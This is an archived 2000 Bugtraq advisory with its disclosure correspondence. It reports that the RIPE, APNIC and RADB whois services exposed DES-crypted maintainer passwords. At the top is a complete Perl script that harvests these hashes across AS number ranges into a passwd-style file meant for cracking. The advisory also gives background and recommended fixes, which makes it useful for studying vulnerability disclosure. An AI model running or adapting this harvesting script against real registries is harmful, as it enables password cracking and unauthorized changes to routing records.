 *     Gerald> You have 1 week to fix it and then I'm going public."
 *     Gerald> It's old news.  We all know it and dislike it as much as
 *     Gerald> you.
 * 
 *     Gerald> And what about "MAIL-FROM" authentication?  You do not
 *     Gerald> include this in your remarks.  Certainly your observations
 *     Gerald> would be more potent by adding "MAIL-FROM".
 * 
 *     Gerald> Have you read RFC 2726?  Do you realize that all users can
 *     Gerald> use this form of authentication?
 * 
 *     >> I shall do that (by posting to BUGTRAQ and CERT, albeit
 *     >> reluctantly); before that, however, I would request you again
 *     >> to fix the problem at the source rather than have half the
 *     >> script-kiddies in the world trying to attack your databases,
 *     >> and maybe succeeding.
 * 
 *     Gerald> The registries will not unilaterally go into the
 *     Gerald> database's and change data or implement new sercurity
 *     Gerald> features without the approval of the community.  What you
 *     Gerald> are suggesting won't work anyway (ie, you still have the
 *     Gerald> "MAIL-FROM" problem).
 * 
 *     Gerald> We are all sympathatic to your criticism.  In fact the
 *     Gerald> RIPE NCC and myself have gotten up numerous times at
 *     Gerald> public forums (ripe, ietf, ...)  and urged the public to
 *     Gerald> convert to PGP authentication.  The registries agree with
 *     Gerald> you but real change must come from the community.
 * 
 *     Gerald> I would suggest to you to come to the meetings and make
 *     Gerald> your proposal.  I'm sure you will have *many* supporters.
 * 
 *     Gerald> --Gerald Winters
 * 
 * --[[application/octet-stream
 * Content-Disposition: attachment; filename="who.pl"][quoted-printable]]
 * #!/usr/bin/perl -w
 * #
 * # Brute force create a /etc/passwd-like file with DES-encrypted passwords=
 * 
 * # from dumb whois lookups on RIPE and APNIC.  Can be easily modified
 * # to handle RADB too.  Once the file is created, run Crack (or your favou=
 * rite
 * # DES-crack program) on it and create some headache for the ``Internet
 * # community'' which has decided to reveal DES-encoded passwords as part
 * # of a whois lookup on a maintainer object.
 * #
 * # Copyright 2000, Raju Mathur <raju@linux-delhi.org>, <raju@kandalaya.org=
 * >
 * #
 * # This program is available under the terms of the GNU General Public Lic=
 * ense
 * #
 * use strict ;
 * #
 * # Currently will work on RIPE and APNIC
 * #
 * my
 *   $count =3D 0 ;
 * my
 *   $outfile =3D shift ;
 * my
 *   $registry =3D shift ;
 * if ( !defined $outfile || !defined $registry
 *      || $registry !~ /apnic/i && $registry !~ /ripe/i )
 * {
 *   print STDERR "usage: $0 output-file APNIC|RIPE [start AS] [end AS]\n" ;=
 * 
 *   exit 1 ;
 * }
 * open OUT , ">$outfile"
 *   or die "Cannot write to $outfile: $!\n" ;
 * my
 *   $startas =3D shift ;
 * $startas =3D 1
 *   if !defined $startas ;
 * my
 *   $endas =3D shift ;
 * $endas =3D 12000
 *   if !defined $endas ;
 * my
 *   $server =3D "whois.apnic.net" ;
 * $server =3D "whois.ripe.net"
 *   if $registry =3D~ /ripe/i ;
 * my
 *   $maintainer ;
 * my
 *   $descr ;
 * my
 *   $notify ;
 * my
 *   $auth ;
 * my
 *   $passwd ;
 * foreach my $i ( $startas..$endas )
 * {
 *   print "*** AS$i\n" ;
 *   open WHOIS , "whois AS$i\@$server|"
 *     or die "Cannot whois AS$i: $!\n" ;
 *   while ( <WHOIS> )
 *   {
 *     if ( /^mnt-by:\s*(.*)/ )
 *     {
 *       $maintainer =3D $1 ;
 *       last ;
 *     }
 *   }
 *   close WHOIS ;
 *   next
 *     if !$maintainer ;
 *   print "*** $maintainer\n" ;
 *   open WHOIS , "whois $maintainer\@$server|"
 *     or die "Cannot whois $maintainer: $!\n" ;
 *   $descr =3D "" ;
 *   while ( <WHOIS> )
 *   {
 *     if ( $_ =3D~ /^descr:\s*(.*)/ )
 *     {
 *       $descr .=3D "$1, " ;
 *     }
 *     if ( $_ =3D~ /^mnt-nfy:\s*(.*)/ )
 *     {
 *       $notify =3D $1 ;
 *     }
 *     if ( $_ =3D~ /^auth:\s*(.*)/ )
 *     {
 *       $auth =3D $1 ;
 *     }
 *     last if $auth && $auth =3D~ /crypt-pw/i ;
 *   }
 *   next
 *     if !$auth || $auth !~ /crypt-pw/i ;
 * print "*** <$descr> <$notify> <$auth>\n" ;
 *   close WHOIS ;
 *   $auth =3D~ /.*crypt-pw\s*(.*)/i ;
 *   $passwd =3D $1 ;
 *   $descr =3D~ s/[\n:]//g ;
 *   $notify =3D~ s/://g ;
 *   print OUT "$maintainer:$passwd:42:42:$descr:/dev/null:/bin/sh\n" ;
 *   $auth =3D "" ;
 *   $count++ ;
 * }
 * close OUT ;
 * print "$count records\n" ;
 * 


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Subject: Re: [APNIC #62050] (technical) Crypted passwords for maintainer objects 
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From: Raju Mathur <raju@LINUX-DELHI.ORG>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject:      RIPE, APNIC, RADB update insecurities [re: [APNIC #62050]]
Date:         Wed, 6 Dec 2000 09:43:52 +0530
Status: RO

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

I found the following potential issues in the top-level routing
registries:


DISCLAIMER
- ----------

Raju Mathur is not responsible for the misuse of any of the
information and/or program(s) present in this message.  The message
and program(s) are provided as a service to the Internet community.
Raju Mathur is not liable for any damages, direct or indirect, caused
by the information or program(s) present in this advisory.

BACKGROUND
- ----------

The Routing Registries maintain databases of all routing information
including Autonomous System Numbers and IN.ADDR-ARPA reverse lookups.
The registries display DES-encrypted passwords to the general public,
and the database update process is prone to being cracked.

VENDOR CONTACT
- --------------

Contacted RIPE, APNIC and RADB on 25 November, 2000.  Responses
indicate that the database format and information revealed were
decided by the community and cannot be changed until the community as
a whole votes to change them.  I have a copy of the complete
correspondence if anyone's interested.

UPDATE PROCESS
- --------------

If you are a maintainer for an AS or an IN-ADDR.ARPA domain, you can
use any of the following methods to update information about your
records (this is from my personal understanding, there could be minor
differences between different registries):

1. NONE.  You send updates by e-mail or through a web form to the
registry, which are reviewed by the hostmaster and applied if they are
syntatically and semantically OK.

2. MAIL-FROM.  You send updates by e-mail or through the web form to
the registry, which makes syntax and semantic checks and contacts you
on your registered e-mail address.  Once you reply in the affirmative,
the updates are applied.

3. CRYPT-PW.  The web forms allow you to apply semantically correct
updates immediately if you choose CRYPT-PW as your authentication
method.  You only need your password to change the database.  There is
no human review of the update.

4. PGP.  You send a PGP-signed message to the hostmaster, who verifies
that the signature is correct, makes syntax and semantic checks and
updates the database.

ISSUES
- ------

I'm not going to go into problems associated with MAIL-FROM and NONE
authentication methods since (a) they have already been thrashed out
in the context of the domain registries and (b) they require human
intervention at some point.  PGP also seems quite safe (as safe as
using PGP is).

The CRYPT-PW method of update is of interest here.  Essentially anyone
who manages to get hold of your plaintext CRYPT-PW (which uses DES as
the encryption method) can masquerade as you and make changes to the
databases without any other human intervention at all.  This can lead
to serious security and network outage issues in the short term.  So
far I thought that long-term implications were minimal since the
original maintainer would be notified about rogue changes, but I'm not
too sure about what happens if you change the maintainers contact
address also.

The problem is that the registries are constrained by their users to
reveal the CRYPT'ed password to the general public through a simple
whois mechanism.  Doing a whois on the maintainer object in a registry
reveals the CRYPT'ed password if s/he has one, after which there are
any number of tools which would permit you to attempt to crack or
brute-force the password.

EXPLOIT
- -------

Not really an exploit, but the attached Perl script (which has been
tested on Linux with fwhois) will help you to extract DES-encrypted
passwords from maintainer objects related to a range of Autonomous
System Numbers (ASN's) and put them into a Unix-style password file
which can be fed to Crack & co. for further ``processing''.

Run it as:

    who.pl output-file APNIC|RIPE start-asn end-asn

where output-file will be the file with the Unix-style passwd
information including the encrypted password, APNIC or RIPE are which
registry you wish to glean passwords from (it's trivial to modify the
program to glean passwords from RADB) and start- and end-asn's define
the block of AS numbers whose maintainer objects you are trying to to
extract passwords from.

SOLUTIONS
- ---------

Solutions exist at a number of levels:

1. Personal.  Do not use CRYPT-PW as your authentication mechanism if
you are a maintainer.  All the registries recommend the use of PGP and
will help you get started with PGP if you need that.

2. Community.  Take a decision not to display the authentication
mechanism to the general public, especially the encrypted passwords.
It should be trivial to change the whois server code to conceal the
passwords.

3. Registry.  Encourage all your users to switch to a more secure
method of sending updates.  Define a date by which all users must
switch.  Remove the ``NONE'' authentication method altogether.  For
MAIL-FROM use unique, random identifiers for each request which must
be present in the update confirmation message.

Regards,

- -- Raju

- --[[application/octet-stream
Content-Disposition: attachment; filename="who.pl"][base64]]
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From raju Sat Nov 25 10:46:39 2000
From: Raju Mathur <raju@linux-delhi.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14879.19255.567069.418332@localhost.localdomain>
Date: Sat, 25 Nov 2000 10:46:39 +0530 (IST)
To: webmaster@apnic.net
Subject: Crypted passwords for maintainer objects
X-Mailer: VM 6.72 under 21.1 (patch 10) "Capitol Reef" XEmacs Lucid
Reply-To: raju@linux-delhi.org
Status: RO

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

I see that doing a whois on a maintainer object in your whois database
reveals the DES-encrypted password of the maintainer.  As you are
aware, it is trivial to brute-force crack (decode) a DES password, and
this is a serious security hole in your service.  Please treat this as
a critical issue and refrain from revealing the DES-encrypted password
in whois lookups.

I shall be going public with this information in one week.  Request
you to have fixed the problem by then.

Regards,

- -- Raju Mathur
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=HmKH
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From raju Sat Nov 25 13:19:05 2000
From: Raju Mathur <raju@linux-delhi.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14879.28401.445564.476080@localhost.localdomain>
Date: Sat, 25 Nov 2000 13:19:05 +0530 (IST)
To: webmaster@ripe.net, ncc@ripe.net
Subject: Crypted passwords for maintainer objects
X-Mailer: VM 6.72 under 21.1 (patch 10) "Capitol Reef" XEmacs Lucid
Reply-To: raju@linux-delhi.org
Status: RO

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

I see that doing a whois on a maintainer object in your whois database
reveals the DES-encrypted password of the maintainer if s/he is using
password as his/her authentication scheme.  As you are aware, it is
trivial to brute-force crack (decode) a DES password, and this is a
serious security hole in your service.  Please treat this as a
critical issue and refrain from revealing the DES-encrypted password
in whois lookups.

I shall be going public with this information in one week.  Request
you to have fixed the problem by then.

Regards,

- -- Raju Mathur
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.1 (GNU/Linux)
Comment: Processed by Mailcrypt 3.5.5 and Gnu Privacy Guard <http://www.gnupg.org/>

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=zRSe
-----END PGP SIGNATURE-----

From raju Sat Nov 25 14:53:34 2000
From: Raju Mathur <raju@linux-delhi.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14879.34070.278516.159670@localhost.localdomain>
Date: Sat, 25 Nov 2000 14:53:34 +0530 (IST)
To: db-admin@radb.net, www@merit.edu
Subject: Crypted passwords for maintainer objects
X-Mailer: VM 6.72 under 21.1 (patch 10) "Capitol Reef" XEmacs Lucid
Reply-To: raju@linux-delhi.org
Status: RO

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

I see that doing a whois on a maintainer object in your whois database
reveals the DES-encrypted password of the maintainer if s/he is using
password as his/her authentication scheme.  As you are aware, it is
trivial to brute-force crack (decode) a DES password, and this is a
serious security hole in your service.  Please treat this as a
critical issue and refrain from revealing the DES-encrypted password
in whois lookups.

I shall be going public with this information in one week.  Request
you to have fixed the problem by then.

Regards,

- -- Raju Mathur
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.1 (GNU/Linux)
Comment: Processed by Mailcrypt 3.5.5 and Gnu Privacy Guard <http://www.gnupg.org/>

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=SPnT
-----END PGP SIGNATURE-----

From raju Mon Nov 27 13:17:01 2000
From: Raju Mathur <raju@linux-delhi.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14882.4469.52414.25633@localhost.localdomain>
Date: Mon, 27 Nov 2000 13:17:01 +0530 (IST)
To: Bruce Campbell via RT <technical@apnic.net>
Cc: ripe-dbm@ripe.net, gerald@merit.edu (Gerald Andrew Winters), db-admin@radb.net, irrd-team@merit.edu
Subject: [APNIC #62050] (technical) Crypted passwords for maintainer objects
In-Reply-To: <200011270657.QAA25403@hadrian.staff.apnic.net>
References: <200011270657.QAA25403@hadrian.staff.apnic.net>
X-Mailer: VM 6.72 under 21.1 (patch 10) "Capitol Reef" XEmacs Lucid
Reply-To: raju@linux-delhi.org
Status: RO

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi Bruce,

I've already sent a copy of this mail to RIPE and RADB.  RADB's reply
basically states that ``it's what the users want, so our hands are
tied'', which isn't very heartening.  I'm still awating a response
from RIPE.

While I agree that users (in general) should be given what they want,
I would still not (for example) allow a password-less account as a
Unix system administrator.  I have yet to evaluate the extent of
damage that a person with a cracked APNIC, RIPE or RADB password could
do, but I suspect that it could be pretty serious, at least in the
short term.  I presume that even if someone manages to change an
object in your database the owner/maintainer of that object would
still be notified and have the option of correcting the issue; however
even a short-term rogue change in the database can have global routing
and security implications (e.g. a change in the in.addr-arpa database
could be the precursor for major security breaches).

Please allow me to reiterate that the policy of displaying CRYPT-PW
passwords without control is viewed by me personally with great
concern, and I suspect that that is the view most security
professionals also would take.  My objective is to have a secure,
stable Internet, and I'm willing to do anything in power to work
towards this goal.  If one of those tasks is to bring potential
security holes into the limelight, I shall do that (by posting to
BUGTRAQ and CERT, albeit reluctantly); before that, however, I would
request you again to fix the problem at the source rather than have
half the script-kiddies in the world trying to attack your databases,
and maybe succeeding.

Regards,

- -- Raju

>>>>> "Bruce" == Bruce Campbell via RT <technical@apnic.net> writes:

    Bruce> raju@linux-delhi.org wrote (Sat, Nov 25 2000 15:22:36):
    >> I see that doing a whois on a maintainer object in your whois
    >> database reveals the DES-encrypted password of the maintainer.
    >> As you are aware, it is trivial to brute-force crack (decode) a
    >> DES password, and this is a serious security hole in your
    >> service.  Please treat this as a critical issue and refrain
    >> from revealing the DES-encrypted password in whois lookups.

    Bruce> The APNIC Whois Databases uses code developed by our sister
    Bruce> organisation for Europe (the RIPE NCC) and shares many of
    Bruce> the same issues.  The issue regarding the visibility of the
    Bruce> 'auth' attribute in the maintainer object has been
    Bruce> discussed before, however I regret that I am unable to find
    Bruce> an online reference for this discussion.

    Bruce> I am cc'ing the appropriate address in the RIPE NCC in the
    Bruce> hopes that they can provide a more definitive reference ( a
    Bruce> reply to the APNIC ticketing system will also reply to the
    Bruce> original requestor ).

    >> I shall be going public with this information in one week.
    >> Request you to have fixed the problem by then.

    Bruce> Kind regards,

    Bruce> -- Bruce Campbell <bruce.campbell@apnic.net>
    Bruce> +61-7-3367-0490 Systems Administrator Regional Internet
    Bruce> Registry Asia Pacific Network Information Centre For the
    Bruce> Asia Pacific Region http://www.apnic.net/db/
    Bruce> whois.APNIC.net



    Bruce> -------------------------------------------- Managed by
    Bruce> Request Tracker
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From raju Thu Nov 30 11:00:19 2000
From: Raju Mathur <raju@linux-delhi.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14885.58859.501931.193491@localhost.localdomain>
Date: Thu, 30 Nov 2000 11:00:19 +0530 (IST)
To: RIPE Database Administration  via RT <technical@apnic.net>
Cc: technical@apnic.net (Bruce Campbell via RT),
    ripe-dbm@ripe.net,
    db-admin@radb.net,
    irrd-team@merit.edu, gerald@merit.edu (Gerald Andrew Winters)
Subject: [APNIC #62050] (technical) Crypted passwords for maintainer objects 
In-Reply-To: <200011291033.UAA16435@hadrian.staff.apnic.net>
References: <200011291033.UAA16435@hadrian.staff.apnic.net>
X-Mailer: VM 6.72 under 21.1 (patch 10) "Capitol Reef" XEmacs Lucid
Reply-To: raju@linux-delhi.org
Status: RO

[Munging two messages into one reply to keep everyone in sync]

Hi Gerald, Mr/Ms Magee,

Calculate cost of 1% of maintainer objects in the databases getting
perverted using a script like the attached one.  Weigh against cost of
public outcry if you unilaterally decide to not reveal auth schemes in
whois lookups.  Decide which is cheaper.

I'm not going public with the script until either a deadline for
changing the whois behaviour determined by you passes, or you decide
not to make such a deadline.

Regards,

-- Raju

>>>>> "RIPE" == RIPE Database Administration via RT <technical@apnic.net> writes:

    RIPE> Dear Raju Mathur, This matter was originally raised in
    RIPE> October 1994, when the RIPE document ripe-120
    RIPE> (ftp://ftp.ripe.net/ripe/docs/ripe-120.txt) was published:

    RIPE> "It is by no means meant to keep out a determined malicious
    RIPE> attacker. The crypt function is vulnerable to exhaustive
    RIPE> search by (lots of) fast machines and programs to do the
    RIPE> searching are widely available.  For this reason it is
    RIPE> strongly discouraged to use encrypted passwords also used
    RIPE> for other purposes such as Unix login accounts in this
    RIPE> scheme. As you are publishing the encrypted password in the
    RIPE> database it is open to attack."

    RIPE> This was re-stated in ripe-153 (published in January 1997)
    RIPE> and in ripe-157 (published in May 1997).  In November 1998,
    RIPE> ripe-189 was published, in which the RIPE NCC announced that
    RIPE> it was supporting PGP authentication in the RIPE Database
    RIPE> (the scheme is also described in RFC-2726).  In January
    RIPE> 1999, the RIPE NCC published ripe-190, offering free PGP
    RIPE> licences on request, to anyone who had a mntner object in
    RIPE> the RIPE Database.  At every RIPE Meeting since that time,
    RIPE> the RIPE NCC has encouraged the RIPE community to adopt PGP
    RIPE> authentication.

    RIPE> The RIPE NCC does not manage the data in the RIPE Network
    RIPE> Management Database.  The responsibility for maintaining and
    RIPE> protecting the data is with those who put the data in there.
    RIPE> However, the RIPE NCC has provided a PGP authentication
    RIPE> scheme and encourages its use.

    RIPE> You give a one-week deadline before you make a public
    RIPE> statement about this.  We cannot unilaterly change the
    RIPE> functionality of the RIPE Database; we only act on the
    RIPE> instructions of the RIPE Database Working Group, which has a
    RIPE> mailing list: <db-wg@ripe.net>.  We invite you to express
    RIPE> your concerns on that list.

    RIPE> BTW, this is the first message from you that I have seen.  I
    RIPE> am investigating if we received any other message from you
    RIPE> previous to this one.

    RIPE> If you have any more questions, please contact
    RIPE> <ripe-dbm@ripe.net>.

    RIPE> Kind regards,

    RIPE> A. M. R. Magee ______________ RIPE NCC


    RIPE>  Raju Mathur <raju@linux-delhi.org> writes: * -----BEGIN PGP
    RIPE> SIGNED MESSAGE----- * Hash: SHA1 * * Hi Bruce, * * I've
    RIPE> already sent a copy of this mail to RIPE and RADB.  RADB's
    RIPE> reply * basically states that ``it's what the users want, so
    RIPE> our hands are * tied'', which isn't very heartening.  I'm
    RIPE> still awating a response * from RIPE.  * * While I agree
    RIPE> that users (in general) should be given what they want, * I
    RIPE> would still not (for example) allow a password-less account
    RIPE> as a * Unix system administrator.  I have yet to evaluate
    RIPE> the extent of * damage that a person with a cracked APNIC,
    RIPE> RIPE or RADB password could * do, but I suspect that it
    RIPE> could be pretty serious, at least in the * short term.  I
    RIPE> presume that even if someone manages to change an * object
    RIPE> in your database the owner/maintainer of that object would *
    RIPE> still be notified and have the option of correcting the
    RIPE> issue; however * even a short-term rogue change in the
    RIPE> database can have global routing * and security implications
    RIPE> (e.g. a change in the in.addr-arpa database * could be the
    RIPE> precursor for major security breaches).  * * Please allow me
    RIPE> to reiterate that the policy of displaying CRYPT-PW *
    RIPE> passwords without control is viewed by me personally with
    RIPE> great * concern, and I suspect that that is the view most
    RIPE> security * professionals also would take.  My objective is
    RIPE> to have a secure, * stable Internet, and I'm willing to do
    RIPE> anything in power to work * towards this goal.  If one of
    RIPE> those tasks is to bring potential * security holes into the
    RIPE> limelight, I shall do that (by posting to * BUGTRAQ and
    RIPE> CERT, albeit reluctantly); before that, however, I would *
    RIPE> request you again to fix the problem at the source rather
    RIPE> than have * half the script-kiddies in the world trying to
    RIPE> attack your databases, * and maybe succeeding.  * * Regards,
    RIPE> * * - -- Raju * * >>>>> "Bruce" == Bruce Campbell via RT
    RIPE> <technical@apnic.net> writes: * * Bruce>
    RIPE> raju@linux-delhi.org wrote (Sat, Nov 25 2000 15:22:36): * >>
    RIPE> I see that doing a whois on a maintainer object in your
    RIPE> whois * >> database reveals the DES-encrypted password of
    RIPE> the maintainer.  * >> As you are aware, it is trivial to
    RIPE> brute-force crack (decode) a * >> DES password, and this is
    RIPE> a serious security hole in your * >> service.  Please treat
    RIPE> this as a critical issue and refrain * >> from revealing the
    RIPE> DES-encrypted password in whois lookups.  * * Bruce> The
    RIPE> APNIC Whois Databases uses code developed by our sister *
    RIPE> Bruce> organisation for Europe (the RIPE NCC) and shares
    RIPE> many of * Bruce> the same issues.  The issue regarding the
    RIPE> visibility of the * Bruce> 'auth' attribute in the
    RIPE> maintainer object has been * Bruce> discussed before,
    RIPE> however I regret that I am unable to find * Bruce> an online
    RIPE> reference for this discussion.  * * Bruce> I am cc'ing the
    RIPE> appropriate address in the RIPE NCC in the * Bruce> hopes
    RIPE> that they can provide a more definitive reference ( a *
    RIPE> Bruce> reply to the APNIC ticketing system will also reply
    RIPE> to the * Bruce> original requestor ).  * * >> I shall be
    RIPE> going public with this information in one week.  * >>
    RIPE> Request you to have fixed the problem by then.  * * Bruce>
    RIPE> Kind regards, * * Bruce> -- Bruce Campbell
    RIPE> <bruce.campbell@apnic.net> * Bruce> +61-7-3367-0490 Systems
    RIPE> Administrator Regional Internet * Bruce> Registry Asia
    RIPE> Pacific Network Information Centre For the * Bruce> Asia
    RIPE> Pacific Region http://www.apnic.net/db/ * Bruce>
    RIPE> whois.APNIC.net * * * * Bruce>
    RIPE> -------------------------------------------- Managed by *
    RIPE> Bruce> Request Tracker * -----BEGIN PGP SIGNATURE----- *
    RIPE> Version: GnuPG v1.0.1 (GNU/Linux) * Comment: Processed by
    RIPE> Mailcrypt 3.5.5 and Gnu Privacy Guard <http://www.gnup *
    RIPE> g.org/> * *
    RIPE> iEYEARECAAYFAjoiEKgACgkQyWjQ78xo0X/OewCeO209lBqSTBrlWms8j81Lmxtb
    RIPE> * vhoAnjvjbJHfE7QQ4scbd8q3ri5bokPF * =mKDL * -----END PGP
    RIPE> SIGNATURE----- *


    RIPE> --- Headers Follow ---

    >> From info@apnic.net Wed Nov 29 20:33:24 2000
    RIPE> Received: (from info@localhost) by hadrian.staff.apnic.net
    RIPE> (8.9.3/8.9.3) id UAA16430 for technical-ticket; Wed, 29 Nov
    RIPE> 2000 20:33:24 +1000 (EST) Received: from guardian.apnic.net
    RIPE> (int-gw.staff.apnic.net [192.168.1.254]) by
    RIPE> hadrian.staff.apnic.net (8.9.3/8.9.3) with ESMTP id UAA16426
    RIPE> for <technical@staff.apnic.net>; Wed, 29 Nov 2000 20:33:24
    RIPE> +1000 (EST) Received: (from mail@localhost) by
    RIPE> guardian.apnic.net (8.9.3/8.9.3) id UAA29609 for
    RIPE> <technical@staff.apnic.net>; Wed, 29 Nov 2000 20:33:24 +1000
    RIPE> (EST) Received: from whois1.apnic.net(203.37.255.98) by
    RIPE> int-gw.staff.apnic.net via smap (V2.1) id xma029607; Wed, 29
    RIPE> Nov 00 20:33:04 +1000 Received: from birch.ripe.net
    RIPE> (birch.ripe.net [193.0.1.96]) by ns.apnic.net (8.9.3/8.9.3)
    RIPE> with ESMTP id UAA122202 for <technical@apnic.net>; Wed, 29
    RIPE> Nov 2000 20:33:04 +1000 (EST) Received: from ripe.net
    RIPE> (office.ripe.net [193.0.1.97]) by birch.ripe.net
    RIPE> (8.8.8/8.8.8) with ESMTP id LAA24135; Wed, 29 Nov 2000
    RIPE> 11:31:26 +0100 (CET) Message-Id:
    RIPE> <200011291031.LAA24135@birch.ripe.net> To:
    RIPE> raju@linux-delhi.org cc: Bruce Campbell via RT
    RIPE> <technical@apnic.net>, gerald@merit.edu (Gerald Andrew
    RIPE> Winters), db-admin@radb.net, irrd-team@merit.edu Subject:
    RIPE> Re: [APNIC #62050] (technical) Crypted passwords for
    RIPE> maintainer objects In-reply-to: Your message of Mon, 27 Nov
    RIPE> 2000 13:17:01 +0530.
    RIPE> <14882.4469.52414.25633@localhost.localdomain> References:
    RIPE> <14882.4469.52414.25633@localhost.localdomain> From: RIPE
    RIPE> Database Administration <ripe-dbm@ripe.net> X-Organization:
    RIPE> RIPE Network Coordination 